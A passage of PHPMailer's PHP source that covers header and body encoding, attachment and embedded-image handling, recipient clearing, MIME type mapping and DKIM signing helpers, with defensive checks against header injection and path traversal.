        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
